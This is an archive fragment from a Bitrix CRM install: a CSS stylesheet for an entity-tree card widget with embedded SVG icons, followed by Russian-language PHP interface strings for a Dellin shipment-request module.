top: 0; bottom: 0; width: 6px; background: #f5f8f9; } .crm-doc-cart-user { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; align-content: stretch; -webkit-box-flex: 1; -webkit-flex: 1; -ms-flex: 1; flex: 1; max-width: 270px; min-width: 180px; } .crm-doc-cart-contact { align-content: stretch; -webkit-box-flex: 1; -webkit-flex: 1; -ms-flex: 1; flex: 1; max-width: 300px; min-width: 300px; } .crm-doc-cart-contact td { vertical-align: top; padding-bottom: 5px; } .crm-doc-cart-contact tr:last-child td { padding-bottom: 0; } .crm-doc-cart-contact td:first-child { padding: 0 10px 0 0; } .crm-doc-cart-create { -webkit-box-flex: 1; -webkit-flex: 1; -ms-flex: 1; flex: 1; white-space: nowrap; overflow: hidden; } .crm-doc-cart-user-name { display: block; overflow: hidden; font-weight: bold; font-size: 14px; margin: 6px 0; color: #2b7bbc; } .crm-doc-three-title { font-weight: bold; font-size: 14px; color: #525c68; line-height: 24px; text-align: left; margin: 0 0 15px 0; } .crm-doc-cart-company-avatar, .crm-doc-cart-user-avatar { -webkit-box-flex: 1; -webkit-flex: 1; -ms-flex: 1; flex: 1; max-width: 35px; height: 35px; min-height: 35px; max-height: 35px; margin: -3px 0 0 -15px; background: url('/bitrix/components/bitrix/crm.entity.tree/templates/.default/images/sprite.png') no-repeat #fff; border: 1px solid #80868e; background-position: center -326px; -webkit-border-radius: 100%; -moz-border-radius: 100%; border-radius: 100%; } .crm-doc-cart-company-avatar { background-position: center -268px; } .crm-doc-cart-user-info { -webkit-box-flex: 1; -webkit-flex: 1; -ms-flex: 1; flex: 1; padding: 0 0 0 15px; } .crm-doc-cart-title { display: block; font-weight: bold; font-size: 12px; color: #2b7bbc; line-height: 18px; margin: 0 0 10px 0; position: relative; } .crm-doc-cart-title:before { content: ''; position: absolute; left: -32px; top: -7px; width: 30px; height: 30px; background: url(/bitrix/components/bitrix/crm.entity.tree/templates/.default/images/sprite.png?v2) no-repeat; } .crm-doc-cart-title-sentence:before {background-position: 0 -90px} .crm-doc-cart-title-deal:before {background-position: 0 -60px} .crm-doc-cart-title-invoice:before {background-position: 0 -30px} .crm-doc-ul { list-style: none; padding: 0; margin: 0 0 0 25px; } .crm-doc-ul-li { margin: -1px 0 0 0; } .crm-doc-three > .crm-doc-ul { margin: 0; padding: 1px 0 0 0; } .crm-doc-ul-li .crm-doc-cart { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; padding: 17px 20px 17px 45px; margin: 0; } .crm-doc-ul-li .crm-doc-cart-top { padding: 15px 20px 15px 60px; } .crm-doc-cart-info { -webkit-box-flex: 1; -webkit-flex: 1; -ms-flex: 1; flex: 1; padding: 0 20px 0 0; } .crm-doc-info-table { table-layout: fixed; width: 100%; font-size: 12px; color: #80868e; border-spacing: 0; line-height: 18px; margin: 9px 0 0 -2px; } .crm-doc-info-table-1 { max-width: 80px; } .crm-doc-info-table-2 { max-width: 100px; } .crm-doc-info-table td { white-space: nowrap; overflow: hidden; -ms-text-overflow: ellipsis; text-overflow: ellipsis; } .crm-doc-info-table td:first-child { color: #8e9ca3; } .crm-doc-drop { clear: both; display: block; margin: 0 0 10px 0; } .crm-doc-drop-link { display: inline-block; font-size: 13px; color: #8e9ca3; line-height: 16px; cursor: pointer; } .crm-doc-drop-link-border { display: inline-block; color: #535c69; border-bottom: 1px dashed #535c69; } .crm-doc-drop-open .crm-doc-drop-link-border { border-bottom: 1px dashed transparent; -webkit-transition: .1s; -moz-transition: .1s; transition: .1s; } .crm-doc-drop-link-number { display: inline-block; opacity: 1; -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); -webkit-transition: .3s; -moz-transition: .3s; transition: .3s; } .crm-doc-drop-open .crm-doc-drop-link-number { opacity: 0; -webkit-transform: scale3d(.4, .4, 1); transform: scale3d(.4, .4, 1); } .crm-doc-drop-open .crm-doc-drop-link-border:hover { border-bottom: 1px dashed #535c69; } .crm-doc-droplist { margin: 0; padding: 0; opacity: 0; list-style: none; overflow: hidden; -webkit-transition: .3s; -moz-transition: .3s; transition: .3s; } .crm-doc-info .crm-doc-drop { } .crm-doc-ul-li .crm-doc-drop { padding: 0; } .crm-doc-drop-open .crm-doc-droplist { opacity: 1; } .crm-doc-droplist-wrapper { overflow: hidden; height: 0; clear: both; display: block; overflow: hidden; -webkit-transition: .3s; -moz-transition: .3s; transition: .3s; } .crm-doc-droplist-wrapper > .crm-doc-ul { padding: 15px 0 0 0; margin: 0; } .crm-doc-droplist-item:first-child { margin: 10px 0 0 0; } .crm-doc-droplist-item { padding: 7px 7px 7px 15px; position: relative; background: #fff; border: 1px solid #e3e3e3; position: relative; color: #80868e; line-height: 24px; opacity: 0; margin: -1px 0 0 0; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .crm-doc-droplist-item:last-child { margin: -1px 0 10px 0; } .crm-doc-droplist-item:before { content: ''; width: 20px; height: 20px; display: inline-block; vertical-align: middle; background-position: center center; background-repeat: no-repeat; margin: 0 7px 0 0; /*background: url(/bitrix/components/bitrix/crm.entity.tree/templates/.default/images/sprite.png?v2) no-repeat;*/ } .crm-doc-droplist-item:after { content: ''; position: absolute; left: 0; top: 0; bottom: 0; width: 6px; background: #f5f8f9; } .crm-doc-cart-contact-item-email, .crm-doc-cart-contact-item-phone { line-height: 18px; } .crm-doc-cart-contact-item-email:after, .crm-doc-cart-contact-item-phone:after { content: ''; display: inline-block; vertical-align: top; margin: 4px 0 0 4px; width: 10px; height: 10px; background-size: 100% 100%; background-repeat: no-repeat; } .crm-doc-cart-contact-item-email:after { background-image: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/PjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDE0IDE0IiBzdHlsZT0iZW5hYmxlLWJhY2tncm91bmQ6bmV3IDAgMCAxNCAxNDsiIHhtbDpzcGFjZT0icHJlc2VydmUiID48Zz48Zz48cGF0aCBkPSJNNyw5TDUuMjY4LDcuNDg0bC00Ljk1Miw0LjI0NUMwLjQ5NiwxMS44OTYsMC43MzksMTIsMS4wMDcsMTJoMTEuOTg2ICAgIGMwLjI2NywwLDAuNTA5LTAuMTA0LDAuNjg4LTAuMjcxTDguNzMyLDcuNDg0TDcsOXoiIGZpbGw9IiM4ODlhYWMiLz48cGF0aCBkPSJNMTMuNjg0LDIuMjcxQzEzLjUwNCwyLjEwMywxMy4yNjIsMiwxMi45OTMsMkgxLjAwN0MwLjc0LDIsMC40OTgsMi4xMDQsMC4zMTgsMi4yNzNMNyw4ICAgIEwxMy42ODQsMi4yNzF6IiBmaWxsPSIjODg5YWFjIi8+PHBvbHlnb24gcG9pbnRzPSIwLDIuODc4IDAsMTEuMTg2IDQuODMzLDcuMDc5ICAgIiBmaWxsPSIjODg5YWFjIi8+PHBvbHlnb24gcG9pbnRzPSI5LjE2Nyw3LjA3OSAxNCwxMS4xODYgMTQsMi44NzUgICAiIGZpbGw9IiM4ODlhYWMiLz48L2c+PC9nPjwvc3ZnPg==); } .crm-doc-cart-contact-item-phone:after { margin: 3px 0 0 4px; background-image: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/PjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDE2Ljg3NyAxNi44NzciIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDE2Ljg3NyAxNi44Nzc7IiB4bWw6c3BhY2U9InByZXNlcnZlIj48Zz48cGF0aCBkPSJNNS4zMDEsNS41ODdMMS40MDQsMS42ODhjMC41MDMtMC41MDMsMS4wMDUtMS4wMDcsMS41MDktMS41MTFDMy4xNDYtMC4wNTYsMy41MjItMC4wNiwzLjc1NiwwLjE3bDMuMDM2LDMuMDM5ICAgYzAuMjMyLDAuMjMyLDAuMjMyLDAuNjE0LTAuMDAzLDAuODQ4TDYuMTI0LDQuNzIxTDUuNTA1LDUuMzRDNS40MjksNS40MTcsNS4zNiw1LjQ5OSw1LjMwMSw1LjU4N3ogTTguNTA3LDExLjkzOCAgIGMtMC42MzgtMC41NDktMS4yNS0xLjEzMi0xLjg0NC0xLjcyNUM2LjA3LDkuNjE2LDUuNDg5LDkuMDA2LDQuOTM5LDguMzY1Yy0wLjQ1LTAuNTItMC41MzgtMS4yNzMtMC4zMDMtMS45MDdMMC42MzYsMi40NTcgICBjLTAuOTMxLDAuOTU3LTAuODEyLDMuMzMsMC4yMDgsNS40MTVjMC40MzgsMC45MDIsMS4wMDYsMS43MTYsMS41OTMsMi40OWMwLjU4NiwwLjc2OCwxLjIyOSwxLjQ5NCwxLjkwNiwyLjE3NiAgIGMwLjY3OSwwLjY4MSwxLjQwMSwxLjMyNywyLjE3MSwxLjkxM2MwLjc3NCwwLjU4OSwxLjU5LDEuMTUzLDIuNDg2LDEuNTljMi4wODgsMS4wMTksNC40NjIsMS4xMzEsNS40MTgsMC4xOTlsLTQuMDAxLTQuMDAxICAgQzkuNzgzLDEyLjQ3NCw5LjAyOSwxMi4zODcsOC41MDcsMTEuOTM4eiBNMTYuNzAyLDEzLjExOWwtMy4wMzYtMy4wMzdjLTAuMjMzLTAuMjMtMC42MTUtMC4yMy0wLjg0OCwwLjAwM2gtMC4wMDJsLTAuNjY3LDAuNjY2ICAgbC0wLjYxNSwwLjYxOGMtMC4wNzYsMC4wNzYtMC4xNTksMC4xNDMtMC4yNDcsMC4yMDVsMy44OTYsMy44OThjMC41MDQtMC41MDUsMS4wMDctMS4wMDcsMS41MTItMS41MSAgIEMxNi45MywxMy43MjksMTYuOTM1LDEzLjM1MiwxNi43MDIsMTMuMTE5eiIgZmlsbD0iIzg4OWFhYyIvPjwvZz48L3N2Zz4=); } .crm-doc-clear { clear: both; float: left; } /*.crm-doc-droplist-item-form:before {background-position: 0 -210px}*/ /*.crm-doc-droplist-item-crm_webform:before {background-position: 0 -210px}*/ /*.crm-doc-droplist-item-chat:before {background-position: 0 -180px}*/ /*.crm-doc-droplist-item-imopenlines_session:before {background-position: 0 -180px}*/ /*.crm-doc-droplist-item-mailin:before {background-position: 0 -150px}*/ /*.crm-doc-droplist-item-mailto:before {background-position: 0 -240px}*/ /*.crm-doc-droplist-item-check:before {background-position: 0 -120px}*/ .crm-doc-droplist-item-form:before {} .crm-doc-droplist-item-crm_webform:before {} .crm-doc-droplist-item-chat:before {} .crm-doc-droplist-item-imopenlines_session:before {} .crm-doc-droplist-item-mail:before { background-position: center 77%; background-size: 18px 14px; background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2018%2014%22%3E%3Cpath%20d%3D%22M16.2%2C0h-13A1.79%2C1.79%2C0%2C0%2C0%2C1.4%2C1.79V7.47H3V2.7a1.14%2C1.14%2C0%2C0%2C0%2C.2.2L9.12%2C7.4a.7.7%2C0%2C0%2C0%2C.43.17h.27a1%2C1%2C0%2C0%2C0%2C.43-.17l5.88-4.49a.91.91%2C0%2C0%2C0%2C.23-.27V9.7a.53.53%2C0%2C0%2C1-.53.54H9.75v1.66h6.48A1.79%2C1.79%2C0%2C0%2C0%2C18%2C10.1V1.82A1.85%2C1.85%2C0%2C0%2C0%2C16.2%2C0ZM9.65%2C5.47l-5-3.82h10l-5%2C3.82Zm-1.8%2C5.1L5.11%2C7.84a.35.35%2C0%2C0%2C0-.4%2C0%2C.37.37%2C0%2C0%2C0-.2.34V9.7H.37a.37.37%2C0%2C0%2C0-.37.37v1.62a.37.37%2C0%2C0%2C0%2C.37.37H4.51v1.55a.37.37%2C0%2C0%2C0%2C.2.34.35.35%2C0%2C0%2C0%2C.4%2C0l2.74-2.74a.4.4%2C0%2C0%2C0%2C.17-.3.36.36%2C0%2C0%2C0-.17-.3Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E'); } .crm-doc-droplist-item-mail-out:before { background-position: center 77%; background-size: 18px 14px; background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2018%2014%22%3E%3Cpath%20d%3D%22M1.72%2C2.91%2C7.31%2C7.4a.65.65%2C0%2C0%2C0%2C.41.17H8A.91.91%2C0%2C0%2C0%2C8.4%2C7.4L14%2C2.91a.9.9%2C0%2C0%2C0%2C.22-.27v3h1.56V1.79A1.75%2C1.75%2C0%2C0%2C0%2C14.09%2C0H1.69A1.75%2C1.75%2C0%2C0%2C0%2C0%2C1.79v8.28a1.75%2C1.75%2C0%2C0%2C0%2C1.69%2C1.79H8V10.2H2.07a.52.52%2C0%2C0%2C1-.51-.54v-7a.61.61%2C0%2C0%2C0%2C.16.24ZM12.59%2C1.66%2C7.86%2C5.47%2C3.12%2C1.66Zm5.25%2C8.92L15.23%2C7.84a.32.32%2C0%2C0%2C0-.38%2C0%2C.38.38%2C0%2C0%2C0-.19.34V9.7H10.72a.36.36%2C0%2C0%2C0-.35.37v1.62a.36.36%2C0%2C0%2C0%2C.35.37h3.94v1.55a.38.38%2C0%2C0%2C0%2C.19.34.32.32%2C0%2C0%2C0%2C.38%2C0l2.61-2.74a.37.37%2C0%2C0%2C0%2C0-.61Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E'); } .crm-doc-droplist-item-mail-in:before { background-position: center 77%; background-size: 18px 14px; background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2018%2014%22%3E%3Cpath%20d%3D%22M16.2%2C0h-13A1.79%2C1.79%2C0%2C0%2C0%2C1.4%2C1.79V7.47H3V2.7a1.14%2C1.14%2C0%2C0%2C0%2C.2.2L9.12%2C7.4a.7.7%2C0%2C0%2C0%2C.43.17h.27a1%2C1%2C0%2C0%2C0%2C.43-.17l5.88-4.49a.91.91%2C0%2C0%2C0%2C.23-.27V9.7a.53.53%2C0%2C0%2C1-.53.54H9.75v1.66h6.48A1.79%2C1.79%2C0%2C0%2C0%2C18%2C10.1V1.82A1.85%2C1.85%2C0%2C0%2C0%2C16.2%2C0ZM9.65%2C5.47l-5-3.82h10l-5%2C3.82Zm-1.8%2C5.1L5.11%2C7.84a.35.35%2C0%2C0%2C0-.4%2C0%2C.37.37%2C0%2C0%2C0-.2.34V9.7H.37a.37.37%2C0%2C0%2C0-.37.37v1.62a.37.37%2C0%2C0%2C0%2C.37.37H4.51v1.55a.37.37%2C0%2C0%2C0%2C.2.34.35.35%2C0%2C0%2C0%2C.4%2C0l2.74-2.74a.4.4%2C0%2C0%2C0%2C.17-.3.36.36%2C0%2C0%2C0-.17-.3Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E'); } .crm-doc-droplist-item-call:before { background-position: center 45%; background-size: 15px 15px; background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2015%2015%22%3E%3Cpath%20d%3D%22M5%2C10.58H3.55c-.14%2C0-.21%2C0-.24-.16s-.17-.48-.23-.72a10.33%2C10.33%2C0%2C0%2C1-.17-3.46%2C5.92%2C5.92%2C0%2C0%2C1%2C.4-1.69.22.22%2C0%2C0%2C1%2C.23-.15H5A1%2C1%2C0%2C0%2C0%2C6.1%2C3.35c0-.38%2C0-.76%2C0-1.14s0-.78%2C0-1.17A1%2C1%2C0%2C0%2C0%2C5%2C0c-.5%2C0-1%2C0-1.49%2C0a1.74%2C1.74%2C0%2C0%2C0-1.2.42A4.76%2C4.76%2C0%2C0%2C0%2C1.13%2C2.14%2C12.18%2C12.18%2C0%2C0%2C0%2C.06%2C6.3%2C13.33%2C13.33%2C0%2C0%2C0%2C.77%2C12a6.5%2C6.5%2C0%2C0%2C0%2C1.29%2C2.29A1.91%2C1.91%2C0%2C0%2C0%2C3.65%2C15c.45%2C0%2C.91%2C0%2C1.36%2C0a1%2C1%2C0%2C0%2C0%2C1.09-1c0-.77%2C0-1.55%2C0-2.32A1%2C1%2C0%2C0%2C0%2C5%2C10.58ZM8%2C4A1%2C1%2C0%2C0%2C1%2C9%2C3h5a1%2C1%2C0%2C1%2C1%2C0%2C2H9A1%2C1%2C0%2C0%2C1%2C8%2C4ZM8%2C7A1%2C1%2C0%2C0%2C1%2C9%2C6h5a1%2C1%2C0%2C1%2C1%2C0%2C2H9A1%2C1%2C0%2C0%2C1%2C8%2C7Zm0%2C3A1%2C1%2C0%2C0%2C1%2C9%2C9h5a1%2C1%2C0%2C1%2C1%2C0%2C2H9A1%2C1%2C0%2C0%2C1%2C8%2C10Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E'); } .crm-doc-droplist-item-call-out:before { background-size: 15px 15px; background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2015%2015%22%3E%3Cpath%20d%3D%22M15%2C7.53a.41.41%2C0%2C0%2C0-.17-.33L11.78%2C4.27a.43.43%2C0%2C0%2C0-.44%2C0%2C.41.41%2C0%2C0%2C0-.23.36V6.25H6.51a.42.42%2C0%2C0%2C0-.42.41V8.4a.42.42%2C0%2C0%2C0%2C.42.41h4.59v1.65a.41.41%2C0%2C0%2C0%2C.23.36.43.43%2C0%2C0%2C0%2C.44%2C0l3.05-2.93A.41.41%2C0%2C0%2C0%2C15%2C7.53ZM5%2C10.58H3.55c-.14%2C0-.21%2C0-.24-.16s-.17-.48-.23-.72a10.33%2C10.33%2C0%2C0%2C1-.17-3.46%2C5.92%2C5.92%2C0%2C0%2C1%2C.4-1.69.22.22%2C0%2C0%2C1%2C.23-.15H5A1%2C1%2C0%2C0%2C0%2C6.1%2C3.35c0-.38%2C0-.76%2C0-1.14s0-.78%2C0-1.17A1%2C1%2C0%2C0%2C0%2C5%2C0c-.5%2C0-1%2C0-1.49%2C0a1.74%2C1.74%2C0%2C0%2C0-1.2.42A4.76%2C4.76%2C0%2C0%2C0%2C1.13%2C2.14%2C12.18%2C12.18%2C0%2C0%2C0%2C.06%2C6.3%2C13.33%2C13.33%2C0%2C0%2C0%2C.77%2C12a6.5%2C6.5%2C0%2C0%2C0%2C1.29%2C2.29A1.91%2C1.91%2C0%2C0%2C0%2C3.65%2C15c.45%2C0%2C.91%2C0%2C1.36%2C0a1%2C1%2C0%2C0%2C0%2C1.09-1c0-.77%2C0-1.55%2C0-2.32A1%2C1%2C0%2C0%2C0%2C5%2C10.58Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E'); } .crm-doc-droplist-item-call-in:before { background-size: 15px 15px; background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2015%2015%22%3E%3Cpath%20d%3D%22M8%2C7a.42.42%2C0%2C0%2C0%2C.36.12l4.24%2C0a.42.42%2C0%2C0%2C0%2C.23-.71L11.66%2C5.18%2C14.88%2C2a.42.42%2C0%2C0%2C0%2C0-.59L13.62.12a.42.42%2C0%2C0%2C0-.59%2C0L9.82%2C3.34%2C8.63%2C2.15a.42.42%2C0%2C0%2C0-.71.23l0%2C4.24A.42.42%2C0%2C0%2C0%2C8%2C7Zm2.67%2C3.26a1%2C1%2C0%2C0%2C0-1.49%2C0l-1%2C1a.21.21%2C0%2C0%2C1-.29.05c-.23-.12-.47-.22-.68-.36a10.8%2C10.8%2C0%2C0%2C1-2.6-2.37%2C6.17%2C6.17%2C0%2C0%2C1-.93-1.49.21.21%2C0%2C0%2C1%2C.05-.27c.35-.34.69-.68%2C1-1a1%2C1%2C0%2C0%2C0%2C0-1.52l-.82-.82-.84-.84a1%2C1%2C0%2C0%2C0-1.49%2C0c-.35.35-.69.7-1%2C1A1.69%2C1.69%2C0%2C0%2C0%2C0%2C4.81%2C4.84%2C4.84%2C0%2C0%2C0%2C.38%2C6.9a12.67%2C12.67%2C0%2C0%2C0%2C2.25%2C3.75%2C13.92%2C13.92%2C0%2C0%2C0%2C4.61%2C3.61A6.67%2C6.67%2C0%2C0%2C0%2C9.8%2C15a1.87%2C1.87%2C0%2C0%2C0%2C1.61-.61c.3-.33.63-.64%2C1-1a1%2C1%2C0%2C0%2C0%2C0-1.51Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E'); } .crm-doc-droplist-item-meeting:before { background-position: center 41%; background-size: 17px 10px; background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2017.38%209.62%22%3E%3Cpath%20d%3D%22M8.15%2C4.33%2C3.88.11a.59.59%2C0%2C0%2C0-.94.48V3H.59A.59.59%2C0%2C0%2C0%2C0%2C3.55V6.06a.59.59%2C0%2C0%2C0%2C.59.59H2.94V9a.59.59%2C0%2C0%2C0%2C.94.48L8.15%2C5.28a.59.59%2C0%2C0%2C0%2C0-1Zm1.07%2C1L13.5%2C9.5A.59.59%2C0%2C0%2C0%2C14.44%2C9V6.65h2.35a.59.59%2C0%2C0%2C0%2C.59-.59V3.55A.59.59%2C0%2C0%2C0%2C16.79%2C3H14.44V.59A.59.59%2C0%2C0%2C0%2C13.5.11L9.23%2C4.33a.59.59%2C0%2C0%2C0%2C0%2C1Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E'); } .crm-doc-droplist-item-check:before { background-position: center 35%; background-size: 16px 14px; background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2016%2014%22%3E%3Cpath%20d%3D%22M12.83%2C11.7a.51.51%2C0%2C0%2C1-.53.5H2.39a.51.51%2C0%2C0%2C1-.53-.5V2.3a.51.51%2C0%2C0%2C1%2C.53-.5H9.22L11.11%2C0H1.76A1.73%2C1.73%2C0%2C0%2C0%2C0%2C1.67V12.33A1.73%2C1.73%2C0%2C0%2C0%2C1.76%2C14H13a1.73%2C1.73%2C0%2C0%2C0%2C1.76-1.67V8.21L12.87%2C10v1.7Zm3-9.41L15%2C1.48a.56.56%2C0%2C0%2C0-.8%2C0l-6%2C5.66L5.47%2C4.59a.56.56%2C0%2C0%2C0-.8%2C0l-.86.82a.5.5%2C0%2C0%2C0%2C0%2C.76l4%2C3.78a.63.63%2C0%2C0%2C0%2C.53.16.69.69%2C0%2C0%2C0%2C.3-.16l7.26-6.89a.56.56%2C0%2C0%2C0-.07-.76Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E'); } .crm-doc-drop-open .crm-doc-droplist-item { opacity: 1; } .crm-doc-drop .crm-doc-ul { opacity: 0; -webkit-transition: .3s; -moz-transition: .3s; transition: .3s; } .crm-doc-drop-open .crm-doc-ul { opacity: 1; -webkit-transform: translate(30px, 0); -ms-transform: translate(30px, 0); transform: translate(30px, 0); -webkit-animation: slide .5s 1; animation: slide .5s 1; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; } .crm-doc-drop-open .crm-doc-ul .crm-doc-ul, .crm-doc-droplist-item:nth-child(2) { -webkit-animation-delay: .1s; animation-delay: .1s; } .crm-doc-drop-open .crm-doc-ul .crm-doc-ul .crm-doc-ul, .crm-doc-droplist-item:nth-child(3) { -webkit-animation-delay: .2s; animation-delay: .2s; } .crm-doc-drop-open .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul, .crm-doc-droplist-item:nth-child(4) { -webkit-animation-delay: .3s; animation-delay: .3s; } .crm-doc-drop-open .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul, .crm-doc-droplist-item:nth-child(5) { -webkit-animation-delay: .4s; animation-delay: .4s; } .crm-doc-drop-open .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul, .crm-doc-droplist-item:nth-child(6) { -webkit-animation-delay: .5s; animation-delay: .5s; } .crm-doc-droplist-item:nth-child(7) { -webkit-animation-delay: .6s; animation-delay: .6s; } .crm-doc-droplist-item:nth-child(8) { -webkit-animation-delay: .7s; animation-delay: .7s; } .crm-doc-droplist-item:nth-child(9) { -webkit-animation-delay: .8s; animation-delay: .8s; } .crm-doc-droplist-item:nth-child(10) { -webkit-animation-delay: .9s; animation-delay: .9s; } .crm-doc-droplist-item:nth-child(11) { -webkit-animation-delay: 1s; animation-delay: 1s; } .crm-doc-droplist-item:nth-child(12) { -webkit-animation-delay: 1.1s; animation-delay: 1.1s; } @keyframes slide { from { opacity: 0; -webkit-transform: translate(30px, 0); -ms-transform: translate(30px, 0); transform: translate(30px, 0); } to { opacity: 1; -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); transform: translate(0, 0); } } @-webkit-keyframes slide { from { opacity: 0; -webkit-transform: translate(30px, 0); -ms-transform: translate(30px, 0); transform: translate(30px, 0); } to { opacity: 1; -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); transform: translate(0, 0); } } .crm-tree-link-repeat { font-size: 12px; color: #80868e; line-height: 20px; font-weight: normal; }components/dellindev/crm.dellin.request/templates/.default/lang/ru/template.php000064400000007063151760651320024024 0ustar00<? $MESS["CRM_ORDER_SHIPMENT_SHOW_TITLE"] = "Просмотреть отгрузку"; $MESS["CRM_ORDER_SHIPMENT_SHOW"] = "Просмотреть"; $MESS["CRM_ORDER_SHIPMENT_EDIT_TITLE"] = "Редактировать отгрузку"; $MESS["CRM_ORDER_SHIPMENT_EDIT"] = "Редактировать"; $MESS["CRM_ORDER_SHIPMENT_DELETE_TITLE"] = "Удалить отгрузку"; $MESS["CRM_ORDER_SHIPMENT_DELETE"] = "Удалить"; $MESS["CRM_ORDER_SHIPMENT_DELETE_CONFIRM"] = "Вы уверены, что хотите удалить?"; $MESS["CRM_ORDER_SHIPMENT_LIST_ADD_SHORT"] = "Отгрузка"; $MESS["CRM_ORDER_SHIPMENT_LIST_ADD"] = "Добавить отгрузку"; $MESS["CRM_ORDER_SHIPMENT_REBUILD_ACCESS_ATTRS"] = "Для правильной работы обновлённых прав доступа необходимо выполнить обновление атрибутов доступа на <a id=\"#ID#\" target=\"_blank\" href=\"#URL#\">странице управления правами</a>."; $MESS["CRM_ORDER_SHIPMENT_LIST_FILTER_NAV_BUTTON_LIST"] = "Список"; $MESS["CRM_ORDER_SHIPMENT_SUMMARY"] = "Отгрузка № #NUMBER# от #DATE#"; $MESS["CRM_ORDER_DEDUCTED"] = "Отгружено"; $MESS["CRM_ORDER_NOT_DEDUCTED"] = "Не отгружено"; $MESS["CRM_SHOW_ROW_COUNT"] = "Показать количество"; $MESS["CRM_ALL"] = "Всего"; $MESS["DELLINDEV_HEADER_PAGE"] = "Cоздание заявки на отгрузку № %d в заказе № %d"; $MESS["DELLINDEV_FROM_TERMINAL"] = "От терминала"; $MESS["DELLINDEV_FROM_ADDRESS"] = "От адреса"; $MESS["DELLINDEV_TO_TERMINAL"] = "До терминала"; $MESS["DELLINDEV_TO_ADDRESS"] = "До адреса"; $MESS["DELLINDEV_ADDRESS_TERMINAL_DERIVAL"] = "Адрес терминала отправки"; $MESS["DELLINDEV_ADDRESS_DERIVAL"] = "Адрес отправки"; $MESS["DELLINDEV_ADDRESS_TERMINAL_ARRIVAL"] = "Адрес терминала доставки"; $MESS["DELLINDEV_ADDRESS_ARRIVAL"] = "Адрес доставки"; $MESS["DELLINDEV_DEMENSION_BLOCK"] = "<div style=\"display: flex; flex-direction: column\"> <div>Длина(мм): %d </div> <div>Ширина(мм): %d </div> <div>Высота(мм): %d </div> <div>Масса(г): %d </div> </div>"; $MESS["DELLINDEV_CLIENT_INFO"] = "Сведения о клиенте "; $MESS["DELLINDEV_CLIENT_NAME"] = "Имя клиента: "; $MESS["DELLINDEV_CONTACT_PHONE"] = "Контактный телефон: "; $MESS["DELLINDEV_ADDRESS"] = "Адрес: "; $MESS["DELLINDEV_INFO_SHIPMENT"] = "Информация об отгрузке"; $MESS["DELLINDEV_SCHEME_DELIVERY"] = "Способ доставки: "; $MESS["DELLINDEV_DATE_UNLOAD"] = "Дата отгрузки: "; $MESS["DELLINDEV_CREATE_REQUEST"] = "Создать заявку"; $MESS["DELLINDEV_TRACKING_NUMBER"] = "Трек номер: "; $MESS["DELLINDEV_STATE_DELIVERY"] = "Статус доставки: "; $MESS["DELLINDEV_DATE_DELIVERY"] = "Время прибытия груза: "; $MESS["DELLINDEV_PROCESS_CREATE_REQUEST"] = "Процесс создания заявки"; $MESS["DELLINDEV_NEXT"] = "Продолжить"; $MESS["DELLINDEV_NAMEPRODUCT"] = "Наименование"; $MESS["DELLINDEV_COUNT_IN_SHIPMENT"] = "Количество в отгрузке"; $MESS["DELLINDEV_WGH"] = "ВГХ"; $MESS["DELLINDEV_COST"] = "Цена";components/dellindev/crm.dellin.request/templates/.default/lang/en/template.php000064400000007063151760651320024000 0ustar00<? $MESS["CRM_ORDER_SHIPMENT_SHOW_TITLE"] = "Просмотреть отгрузку"; 